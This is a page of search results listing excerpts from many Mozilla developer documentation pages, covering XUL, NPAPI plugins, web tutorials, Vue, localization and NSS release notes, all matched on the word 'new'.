...And 2 more matches
Creating a Skin - Archive of obsolete content
copy a manifest file (contents.rdf) from the classic or modern skin into this new directory.
... copy the original findfile.css into the new directory.
... we'll use this as a basis for the new skin.
...And 2 more matches
Creating an Installer - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...the installers will be usually used to install mozilla components such as new skins, plugins and packages.
... once the script is complete, the new package has been installed.
...And 2 more matches
Features of a Window - Archive of obsolete content
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() function to open the second window.
... this function will return a reference to the newly opened window.
... for example: var mywin = window.open("chrome://findfile/content/findfile.xul", "findfile", "chrome"); specifying the width and height you should have noticed that whenever elements were added to a window, the window's width expanded to fit the new elements.
...And 2 more matches
XUL Structure - Archive of obsolete content
neither of these features grant extra privileges; instead they are used to open a new top-level window without the browser ui such as the menu and toolbar.
...this newer method is the manifest file mentioned earlier, and you will find these as files with the .manifest extension in the chrome directory.
...this is how you can create a new theme.
...And 2 more matches
XUL Event Propagation - Archive of obsolete content
ype="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> <menuitem oncommand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="view source" /> </menupopup> </menu>...
...for example, when you click the new menuitem from the file menu, the event handlers display alerts for "new item alert", "menu handler", "box handler", and "window handler." any or all of these event handler locations might be useful in your interface development.
...for example, if an event handler at the menu is handling an event raised by one of the menu items, then the menu should be able to identify the raising element and take the appropriate action, as in the following example, where a javascript function determines which menuitem was selected and responds appropriately: <script> function docmd(el) { v = el.getattribute("value"); if (v == "new") alert("new clicked"); else if (v == "open") alert("open clicked"); else alert("close clicked"); } </script> ...
...And 2 more matches
menu - Archive of obsolete content
ArchiveMozillaXULmenu
sibletype, accesskey, command, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes acceltext type: string text that appears besid...
...issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
...the function returns the newly created element.
...And 2 more matches
NPN_PostURL - Archive of obsolete content
if null, pass the new stream back to the current plug-in instance regardless of mime type.
...if the target parameter is null, the new stream is passed to the plug-in regardless of mime type.
... if you specify _new or _blank, the response data is written to a new browser window.
...And 2 more matches
NPStream - Archive of obsolete content
lines are terminated by newline characters ("\n"), and the headers are terminated by a newline followed by null ("\n\0").
... description the browser allocates and initializes the npstream object and passes it to the plug-in in as a parameter to npp_newstream or npn_newstream.
...streams produced by the browser: the browser creates the npstream object and passes it to the plug-in initially as a parameter to npp_newstream.
...And 2 more matches
NPAPI plugin reference - Archive of obsolete content
npn newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser.
... npn_createobject allocates a new npobject.
... npn_geturlnotify requests creation of a new stream with the contents of the specified url; gets notification of the result.
...And 2 more matches
Theme changes in Firefox 4 - Archive of obsolete content
however, this does impact theme developers, since many of the files that they need to pull out and work with are now in a new place.
... in particular, the new file omni.jar contains most of the resources, including the skin.
...on buttons in the bookmarks toolbar when the related user preference is set: #navigator-toolbox[iconsize="large"] > #personaltoolbar { counter-reset: largeicons; } to use large icons everywhere, including the menu bar, regardless of the user preference: #navigator-toolbox > toolbar, #addon-bar { counter-reset: largeicons; } creating a theme that works for firefox 4 on mac os x create a new directory (for example, my_theme).
...And 2 more matches
Processing XML with E4X - Archive of obsolete content
the first is to pass a string to the xml constructor: var languages = new xml('<languages type="dynamic"><lang>javascript</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your script, as an xml literal: var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and up...
...e4x introduces new syntax that only works with e4x xml objects.
...one must instead either calculate the variable with a javascript expression (e.g., bar={'a'+var1+var2}), define a new variable before the element literal which includes the full interpolation and then include that variable or retrieve the attribute after the literal to alter it (see below).
...And 2 more matches
Generator comprehensions - Archive of obsolete content
the generator comprehension syntax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object.
... a significant drawback of array comprehensions is that they cause an entire new array to be constructed in memory.
... when the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a new array can be problematic.
...And 2 more matches
ECMAScript 2015 support in Mozilla - Archive of obsolete content
ions to the array object array iteration with for...of (firefox 13) array.from() (firefox 32) array.of() (firefox 25) array.prototype.fill() (firefox 31) array.prototype.find(), array.prototype.findindex() (firefox 25) array.prototype.entries(), array.prototype.keys() (firefox 28), array.prototype.values() array.prototype.copywithin() (firefox 32) get array[@@species] (firefox 48) new map and set objects, and their weak counterparts map (firefox 13) map iteration with for...of (firefox 17) map.prototype.foreach() (firefox 25) map.prototype.entries() (firefox 20) map.prototype.keys() (firefox 20) map.prototype.values() constructor argument: new map(null) (firefox 37) monkey-patched set() in constructor (firefox 37) get map[@@species] (firefox 41) ...
... set (firefox 13) set iteration with for...of (firefox 17) set.prototype.foreach() (firefox 25) set.prototype.entries(), set.prototype.keys(), set.prototype.values() (firefox 24) constructor argument: new set(null) (firefox 37) monkey-patched add() in constructor (firefox 37) get set[@@species] (firefox 41) weakmap (firefox 6) weakmap.clear() (firefox 20) optional iterable argument in weakmap constructor (firefox 36) constructor argument: new weakmap(null) (firefox 37) monkey-patched set() in constructor (firefox 37) weakset (firefox 34) constructor argument: new weakset(null) (firefox 37) monkey-patched add() in constructor (firefox 37) new math functions math.imul() (firefox 20) math.clz32() (firefox 31) math.
... additions to the object object object.prototype.__proto__ has been standardized object.is() (firefox 22) object.setprototypeof() (firefox 31) object.assign() (firefox 34) object.getownpropertysymbols() (firefox 33) additions to the date object date.prototype is an ordinary object (firefox 41) generic date.prototype.tostring (firefox 41) date.prototype[@@toprimitive] (firefox 44) new promise object promise (firefox 24, enabled by default in firefox 29) new proxy object proxy (firefox 18) preventextensions() trap (firefox 22) isextensible() trap (firefox 31) getprototypeof() and setprototypeof() traps (firefox 49) new reflect object reflect (firefox 42) additions to the regexp object regexp sticky (y) flag (firefox 38) regexp unicode (u) flag (firefox 46)...
...And 2 more matches
JavaArray - Archive of obsolete content
in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript.
...for example: var javastring = new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); bytearray[0] // returns 72 bytearray[1] // returns 101 any java data brought into javascript is converted to javascript data types.
...in addition, the tostring method is inherited from the object object and returns the following value: [object javaarray] you must specify a class object, such as one returned by java.lang.object.forname, for the componenttype parameter of newinstance when you use this method to create an array.
...And 2 more matches
XForms Custom Controls - Archive of obsolete content
custom data types - existing xforms controls are not able to work properly with your data type advanced xforms controls - you need your controls to be able to do more things than traditional xforms controls can do new host language - you'd like to support xforms in host languages other than xhtml or xul custom presentation the mozilla xforms extension cannot anticipate all of the possible use cases that will evolve in web applications and web pages as xforms matures and the user base grows.
... and with these new uses, more and more flexibility will be desired from the controls.
...xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control.
...And 2 more matches
Game monetization - Game development
a totally new set of levels with new characters, weapons and story is a good material for dlc, but to have enough sales the game itself has to be popular, or else there won't be any players interested in spending their hard earned money on it.
...this is the most popular approach as with every new publisher (and they are constantly showing up) you can sell your games on non-exclusive terms.
... remember that many new, low quality publishers will want to get your game for ad revenue instead of licensing because it will be cheaper for them and you might end up with earnings around 2 usd per game for the whole deal.
...And 2 more matches
Build the brick field - Game development
defining new variables first, let's define the needed variables — add the following below your previous variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo will store all the data we need.
... now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the previous line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group.
...fill in the contents as shown below: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = 0; var bricky = 0; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.immovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } here we're looping through the rows and columns to create the new bricks and place them on the screen.
...And 2 more matches
Flexbox - Learn web development
fire up your local copy of flexbox0.html, or take a copy of flexbox1.html as a new starting point (see it live).
...let's explore this by looking at a new example — flex-align0.html (see it live also) — which we are going to turn into a neat, flexible button/toolbar.
...we've done this via two new properties.
...And 2 more matches
Normal Flow - Learn web development
by default, block-level elements are laid out in the block flow direction, based on the parent's writing mode (initial: horizontal-tb) — each one will appear on a new line below the last one, and they will be separated by any margin that is set on them.
... inline elements behave differently — they don't appear on new lines; instead, they sit on the same line as one another and any adjacent (or wrapped) text content, as long as there is space for them to do so inside the width of the parent block level element.
... if there isn't space, then the overflowing text or elements will move down to a new line.
...And 2 more matches
Supporting older browsers - Learn web development
this will always be the case on the web — as new features are developed, different browsers will prioritise different things.
...if you have no analytics or this is a brand new site, then there are sites such as statcounter that can provide statistics filtered by location.
...we add a simpler layout based on older and well-supported techniques, then use the newer css to create the layout that over 90% of your audience will see.
...And 2 more matches
What is CSS? - Learn web development
headings will look larger than regular text, paragraphs break onto a new line and have space between them.
... new css features are developed, or specified, by the css working group.
...css is constantly developing, with new features coming available.
...And 2 more matches
What text editors are available? - Learn web development
iki online manual yes brackets mit/bsd free windows, mac, linux forum, irc github wiki yes coda closed source $99 mac twitter, forum, e-mail ebook yes codelobster closed source free windows, mac, linux forum, e-mail no end user doc yes emacs gpl 3 free windows, mac, linux faq, mailing list, news group online manual yes espresso closed source $75 mac faq, e-mail no end user doc, but plug-in doc yes gedit gpl free windows, mac, linux mailing list, irc online manual yes kate lgpl, gpl free windows, mac, linux mailing list, irc online manual yes komodo edit mpl free windows, mac, lin...
...in particular (if possible in your editor), try to: change syntax highlighting settings and colors play with indentation width, setting it to an appropriate setting for your needs check autosave and session saving settings configure any available plugins and investigate how to get new ones change color schemes adjust view settings and see how you can change the layout of the views check what programming languages/technologies your editor supports while you're learning the default settings of most text editors should be fine to use, but it is important to become familiar with your chosen tools, so you can select the best one for your usage.
...as you saw when starting a new html document, many technologies use the same document structure over and over.
...And 2 more matches
The HTML5 input types - Learn web development
now we'll look at the functionality of newer form controls in detail, including some new input types, which were added in html5 to allow collection of specific types of data.
... objective: to understand the newer input type values available to create native form controls, and how to implement them using html.
... this is another good reason for using these newer input types — improving the user experience for users of these devices.
...And 2 more matches
What’s in the head? Metadata in HTML - Learn web development
the <h1> element appears on the page when loaded in the browser — generally this should be used once per page, to mark up the title of your page content (the story title, or news headline, or whatever is appropriate to your usage.) the <title> element is metadata that represents the title of the overall html document (not the document's content.) active learning: inspecting a simple example to start off this active learning, we'd like you to go to our github repo and download a copy of our title-example.html page.
... to do this, either copy and paste the code out of the page and into a new text file in your code editor, then save it in a sensible place.
... press the "raw" button on the github page, which causes the raw code to appear (possibly in a new browser tab).
...And 2 more matches
Introducing asynchronous JavaScript - Learn web development
let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); in this block, the lines are executed one after the other: we grab a reference to a <button> element that is already available in the dom.
... there are two main types of asynchronous code style you'll come across in javascript code, old-style callbacks and newer promise-style code.
... an example of an async callback is the second parameter of the addeventlistener() method (as we saw in action above): btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); the first parameter is the type of event to be listened for, and the second parameter is a callback function that is invoked when the event is fired.
...And 2 more matches
Function return values - Learn web development
let's return to a familiar example (from a previous article in this series): let mytext = 'the weather is cold'; let newstring = mytext.replace('cold', 'warm'); console.log(newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a new string with the replacement made the replace() function is invoked on the mytext string, and is passed two parameters: the substring to find ('cold').
... when the function completes (finishes running), it returns a value, which is a new string with the replacement made.
... in the code above, the result of this return value is saved in the variable newstring.
...And 2 more matches
JavaScript object basics - Learn web development
declaring the member you want to set (using dot or bracket notation), like this: person.age = 45; person['name']['last'] = 'cratchit'; try entering the above lines, and then getting the members again to see how they've changed, like so: person.age person['name']['last'] setting members doesn't just stop at updating the values of existing properties and methods; you can also create completely new members.
... try these in the js console: person['eyes'] = 'hazel'; person.farewell = function() { alert("bye everybody!"); } you can now test out your new members: person['eyes'] person.farewell() one useful aspect of bracket notation is that it can be used to set not only member values dynamically, but member names too.
...we could get those values like this: let mydataname = nameinput.value; let mydatavalue = namevalue.value; we could then add this new member name and value to the person object like this: person[mydataname] = mydatavalue; to test this, try adding the following lines into your code, just below the closing curly brace of the person object: let mydataname = 'height'; let mydatavalue = '1.75m'; person[mydataname] = mydatavalue; now try saving and refreshing, and entering the following into your text input: person.height adding a property to an object using the method above isn't possible with dot notation, which can only accept a literal member n...
...And 2 more matches
Aprender y obtener ayuda - Learn web development
it is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective.
...it isn't however very good at getting an understanding of "the big picture", and unlocking new neural pathways when you are trying to understand new subjects or solve new problems that you haven't come across before.
...this is the opposite of focus — you let your brain wander around the wider landscape, searching around for connections you didn't have before, touching on new things (or new combinations of things) that you can then focus on later, to strengthen them and start to really understand what they mean.
...And 2 more matches
Server-side web frameworks - Learn web development
with so many choices, it can become difficult to work out what framework provides the best starting point for your new web application.
... productivity: productivity is a measure of how quickly you can create new features once you are familiar with the framework, and includes both the effort to write and maintain code (since you can't write new features while old ones are broken).
...for example, django was created to support development of a newspaper website, so it's good for blogs and other sites that involve publishing things.
...And 2 more matches
Website security - Learn web development
effective website security requires design effort across the whole of the website: in your web application, the configuration of the web server, your policies for creating and renewing passwords, and the client-side code.
... while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks.
...any scripts in the original user content will be run when the new page is loaded.
...And 2 more matches
Focus management with Vue refs - Learn web development
you should see a focus outline on the input for adding new to-do items.
... for convenience, create a new method which takes no arguments called focusoneditbutton().
... focusoneditbutton() { const editbuttonref = this.$refs.editbutton; editbuttonref.focus(); } next, add a call to this.focusoneditbutton() at the end of the itemedited() and editcancelled() methods: itemedited(newitemname) { this.$emit("item-edited", newitemname); this.isediting = false; this.focusoneditbutton(); }, editcancelled() { this.isediting = false; this.focusoneditbutton(); }, try editing and then saving/cancelling a to-do item via your keyboard.
...And 2 more matches
Vue resources - Learn web development
this will create a new dist directory containing all of your production ready files.
...the biggest change is a new composition api that works as an alternative to the current property-based api.
... in this new api, a single setup() function is used on the component.
...And 2 more matches
Introduction to cross browser testing - Learn web development
no more new work done on them) a long time before a new feature was even invented.
...if you are working on a large project, you should be testing it regularly, to make sure that new features work for your target audience, and that new additions to the code don't break old features that were previously working.
... testing/discovery after each implementation phase, you will need to test the new functionality.
...And 2 more matches
What to do and what not to do in Bugzilla
canconfirm privilege the canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (new).
... a guide for confirming layout bugs (bugs in web page rendering) reporting new bugs you should report a bug in the new state after going through the triaging process as described in the two above-mentioned guides.
... resolving bugs some general rules: when you resolve a bug, cc yourself so that you are informed when new facts come up.
...And 2 more matches
Debugging on Mac OS X
creating an xcode project if you try to create a new xcode project in an existing directory then xcode will delete its existing contents (xcode will warn you beforehand).
... these steps were last updated for xcode 10.3: open xcode, and create a new project with file > new project.
...once done, you should be able to open any file quickly by hitting cmd-shift-o and typing in the name of a file.) in the product menu, select scheme > new scheme and name your scheme (for example, "debug").
...And 2 more matches
HTTP logging
open a new tab and type in "about:networking" into the url bar.
...on all newer versions of windows, you can hold down the windows key and press "r".
... type cmd and press enter, a new command prompt window with a black background will appear.
...And 2 more matches
Adding APIs to the navigator object
starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), you can easily add new apis to the window.navigator object by using the category manager.
...each method below of adding new objects to the navigator object requires that the new object is a registered xpcom component.
... programmatically adding an object to navigator var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); categorymanager.addcategoryentry("javascript-navigator-property", "myapi", my_contract_id, false, true); this adds a new object, myapi, to the window.navigator object.
...And 2 more matches
Listening to events on all tabs
alocation an nsiuri object indicating the tab's new uri.
... arequest the nsirequest that has new security state.
... astateflags flags indicating the new state.
...And 2 more matches
Reviewer Checklist
good web citizenship make sure new web-exposed apis actually make sense and are either standards track or preffed off by default.
... new files have license declarations and modelines.
... new js files should use strict mode.
...And 2 more matches
Performance best practices for Firefox front-end engineers
hide your panels if you’re adding a new xul <xul:popup> or <xul:panel> to a document, set the hidden attribute to true by default.
...assuming there weren’t any style changes requiring size or position recalculation above line 1, the clientheight information should be cached since the last reflow, and will not result in a new layout calculation.
...a number of tests have been written that exercise various functions of the browser (opening tabs, opening windows) and ensure that we don’t add new uninterruptible reflows accidentally while those actions occur.
...And 2 more matches
mozbrowseropenwindow
the mozbrowseropenwindow event is fired when a new window is required — usually when the content of a browser <iframe> successfully calls the window.open() method, or the user clicks on a link with an unknown target.
... the embedder must use the <iframe> passed in the event.details.frameelement property as the new window content.
... name a domstring representing the name of the new browser window.
...And 2 more matches
Infallible memory allocation
choosing a memory allocator as you write new code that needs to allocate memory, there are some simple rules to follow to help you decide whether to use a fallible or an infallible memory allocator: if you're allocating what may be a large chunk of memory, you should allocate the memory fallibly (using malloc() for example), and check the result to be sure it's not null.
... when instantiating objects, the new operator creates them infallibly by default.
... if you want to allocate them fallibly, use the syntax new (fallible) foo().
...And 2 more matches
InstallListener
method overview void onnewinstall(in addoninstall install) void ondownloadstarted(in addoninstall install) void ondownloadprogress(in addoninstall install) void ondownloadended(in addoninstall install) void ondownloadcancelled(in addoninstall install) void ondownloadfailed(in addoninstall install) void oninstallstarted(in addoninstall install) void oninstallended(in addoninstall install, in addon addon) void oninstallcancelled(in addoninstall install) void oninstallfailed(in addoninstall install) v...
...oid onexternalinstall(in addon install, in addon existingaddon, in boolean needsrestart) methods onnewinstall() called when a new instance of addoninstall is created, primarily so ui can display some kind of progress for all installs.
... void onnewinstall( in addoninstall install ) parameters install the addoninstall representing the install ondownloadstarted() called when downloading begins for an add-on install.
...And 2 more matches
FxAccountsOAuthClient.jsm
components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a new fxaccountsoauthclient new fxaccountsoauthclient(object options); method overview launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow.
... constructor fxaccountsoauthclient() creates and returns a new fxaccountsoauthclient object.
...default: /authorization return value a newly created fxaccountsoauthclient object implementing the methods described in this article.
...And 2 more matches
JNI.jsm
method overview cdata getforthread(); cdata loadclass(cdata ajenv, string aclassfullyqualifiedname, [optional] object adeclares); cdata newstring(cdata ajenv, string astr); string readstring(cdata ajenv, cdata ajavastring); void unloadclasses(); methods getforthread() blah blah cdata getforthread(); parameters this function does not take any arguments.
... return value blah blah newstring() blah blah cdata newstring( ajenv, astr ); parameters ajenv the return value of getforthread().
... .getelements() returns a new cdata object of the section of the array specified by astart and ending at position astart + alength.
...And 2 more matches
Deferred
a deferred object is returned by the obsolete promise.defer() method to provide a new promise along with methods to change its state.
...use the new promise() constructor instead (or use the above backwards/forwards compatible deferred function given below).
... for example, the equivalent of var deferred = promise.defer(); dosomething(function cb(good) { if (good) deferred.resolve(); else deferred.reject(); }); return deferred.promise; would be return new promise(function(resolve, reject) { dosomething(function cb(good) { if (good) resolve(); else reject(); }); }); method overview void resolve([optional] avalue); void reject([optional] areason); properties attribute type description promise read only promise a newly created promise, initially in the pending state.
...And 2 more matches
Localizing without a specialized tool
from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
...if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool, this document (along with create a new localization) will enable you to learn just what needs to be done.
... you cannot begin localizing mozilla file by file without a specialized tool without going through the create a new localization page.
...And 2 more matches
Translation phase
the l10n tools are meant to help you maintain your localized content from release to release and leverage already localized materials when localizing new content.
... these are the mozilla application projects that are localized using the l10n tools above: firefox the award-winning firefox® web browser has security, speed and new features that will change the way you use the web.
... seamonkey seamonkey® is the all-in-one application formerly known as the "mozilla application suite", containing a web browser, a mail and newsgroups client, an html editor, web development tools, and an irc chat client.
...And 2 more matches
Setting up the infrastructure
create a new branch for l10n (optional if starting a new project).
... copy the shell scripts from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all english strings from your application's directories specified in source_dirs, merge the resulting template (*.pot) file with the existing (already containing translations) messages.po files for each locale (if they exist) and merge the new messages.po files to messages.mo files.
...this is useful when a localizer submits a new version of the messages.po file.
...And 2 more matches
What every Mozilla translator should know
l10n stands for localization = l + another 10 letters + n mailing lists and other resources there are several mailing lists to keep the track of what's going on, which are available as newsgroups, as well, both on news.mozilla.org and google groups: the main l10n list also available as mozilla.dev.l10n, .l10n in short.
...when a development is started for an specific version, a new repository is created under hg.mozilla.org/releases/.
... all the content of the trunk is copied to this new branch so that the developing work is done in two (or more) parallel places: the generic trunk and the version oriented branch(es).
...And 2 more matches
Refcount tracing and balancing
for example: perl -w tools/rb/make-tree.pl --object 0x00253ab0 < my-leak.log this will build an indented tree that looks something like this (except probably a lot larger and leafier): .root: bal=1 main: bal=1 dosomethingwithfooandreturnittoo: bal=2 ns_newfoo: bal=1 let's pretend in our toy example that ns_newfoo() is a factory method that makes a new foo and returns it.
...but, more specifically, it shows you that: ns_newfoo() "leaks" a refcount.
... so now say we go fix the leak in dosomethingwithfooandreturnittoo(), re-run our trace, grovel through the log by hand to find the object that corresponds to 0x00253ab0 in the new run, and run make-tree.pl.
...And 2 more matches
PR_CreateIOLayerStub
creates a new layer.
... syntax #include <prio.h> prfiledesc* pr_createiolayerstub( prdescidentity ident priomethods const *methods); parameters the function has the following parameters: ident the identity to be associated with the new layer.
... methods a pointer to the priomethods structure specifying the functions for the new layer.
...And 2 more matches
PR_CreateThread
creates a new thread.
... start a pointer to the thread's root function, which is called as the root of the new thread.
... priority the initial priority of the newly created thread.
...And 2 more matches
PR OpenUDPSocket
creates a new udp socket of the specified address family.
... syntax #include <prio.h> prfiledesc* pr_openudpsocket(printn af); parameters the function has the following parameters: af the address family of the new udp socket.
... returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened udp socket.
...And 2 more matches
4.3 Release Notes
release date: 01 april 2009 introduction network security services for java (jss) 4.3 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
... new in jss 4.3 a list of bug fixes and enhancement requests were implemented in this release can be obtained by running this bugzilla query jss 4.3 requires nss 3.12 or higher.
... new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type.
...And 2 more matches
NSS_3.12.2_release_notes.html
nss 3.12.2 release notes 2008-10-20 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.2 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.2 is a patch release for nss 3.12.
... new in nss 3.12.2 new functions in the nss shared library: sec_pkcs12addcertorchainandkey (see p12.h) new pkcs11 errors (see secerr.h) sec_error_pkcs11_general_error sec_error_pkcs11_function_failed sec_error_pkcs11_device_error bugs fixed the following bugs have been fixed in nss 3.12.2.
... bug 200704: pkcs11: invalid session handle 0 bug 205434: fully implement new libpkix cert verification api from bug 294531 bug 302670: use the installed libz.so where available bug 305693: shlibsign generates pqg for every run bug 311483: exposing includecertchain as a parameter to sec_pkcs12addcertandkey bug 390527: get rid of pkixerrormsg variable in pkix_error bug 391560: libpkix does not consistently return pkix_validatenode tree that truly represent failure reasons bug 408260: certutil usage doesn't give enough information about trust arguments bug 412311: replace pr_interval_no_wait with pr_interval_no_timeout in client initialization calls bug 423839: add multiple pkcs#11 token password command line option to nss tools.
...And 2 more matches
NSS 3.14.3 release notes
nss 3.14.3 requires nspr 4.9.5 or newer.
... nss 3.14.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_3_rtm/src/ new in nss 3.14.3 new functionality no new major functionality is introduced in this release.
... new functions in pk11pub.h pk11_signwithsymkey - similar to pk11_sign, performs a signing operation in a single operation.
...And 2 more matches
NSS 3.15.4 release notes
nss 3.15.4 requires nspr 4.10.2 or newer.
... bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method.
... added the --empty-password command-line option to certutil, to be used with -n: use an empty password when creating a new database.
...And 2 more matches
NSS 3.15 release notes
nss 3.15 requires nspr 4.10 or newer.
... nss 3.15 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_rtm/src/ new in nss 3.15 new functionality support for ocsp stapling (rfc 6066, certificate status request) has been added for both client and server sockets.
... new functions in ssl.h ssl_peerstapledocspresponse - returns the server's stapled ocsp response, when used with a tls client socket that negotiated the status_request extension.
...And 2 more matches
NSS 3.16.1 release notes
nss 3.16.1 requires nspr 4.10.5 or newer.
... nss 3.16.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_1_rtm/src/ new in nss 3.16.1 new functionality added the "ecc" flag for modutil to select the module used for elliptic curve cryptography (ecc) operations.
... new functions in pk11pub.h pk11_exportderprivatekeyinfo and pk11_exportprivkeyinfo - exports a private key in a der-encoded asn.1 privatekeyinfo type or a seckeyprivatekeyinfo structure.
...And 2 more matches
NSS 3.16.2.3 release notes
nss 3.16.2.3 requires nspr 4.10.6 or newer.
... nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/ new in nss 3.16.2.3 this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1.
... new functionality tls_fallback_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fallback.
...And 2 more matches
NSS 3.16 release notes
nss 3.16 requires nspr 4.10.3 or newer.
... nss 3.16 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_rtm/src/ new in nss 3.16 new functionality supports the linux x32 abi.
... new functions in cms.h nss_cmssignerinfo_verify - verify the signature of a single signerinfo.
...And 2 more matches
NSS 3.22 release notes
nss 3.22 requires nspr 4.11 or newer.
... nss 3.22 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_rtm/src/ new in nss 3.22 new functionality rsa-pss signatures are now supported (bug 1215295) new functions pk11_signwithmechanism() and pk11_signwithmechanism() are provided to allow rsa keys to be used with pss.
... new functions in pk11pub.h pk11_signwithmechanism - this function is an extended version pk11_sign().
...And 2 more matches
FC_GenerateKey
name fc_generatekey - generate a new key syntax ck_rv fc_generatekey( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_attribute_ptr ptemplate, ck_ulong ulcount, ck_object_handle_ptr phkey ); parameters hsession [in] session handle.
...ptemplate [in] pointer to the template for the new key.
...phkey [out] pointer to the location to receive the handle of the new key.
...And 2 more matches
FC_GenerateKeyPair
name fc_generatekeypair - generate a new public/private key pair syntax ck_rv fc_generatekeypair( ck_session_handle hsession, ck_mechanism_ptr pmechanism, ck_attribute_ptr ppublickeytemplate, ck_ulong uspublickeyattributecount, ck_attribute_ptr pprivatekeytemplate, ck_ulong usprivatekeyattributecount, ck_object_handle_ptr phpublickey, ck_object_handle_ptr phprivatekey ); parameters hsession [in] session handle.
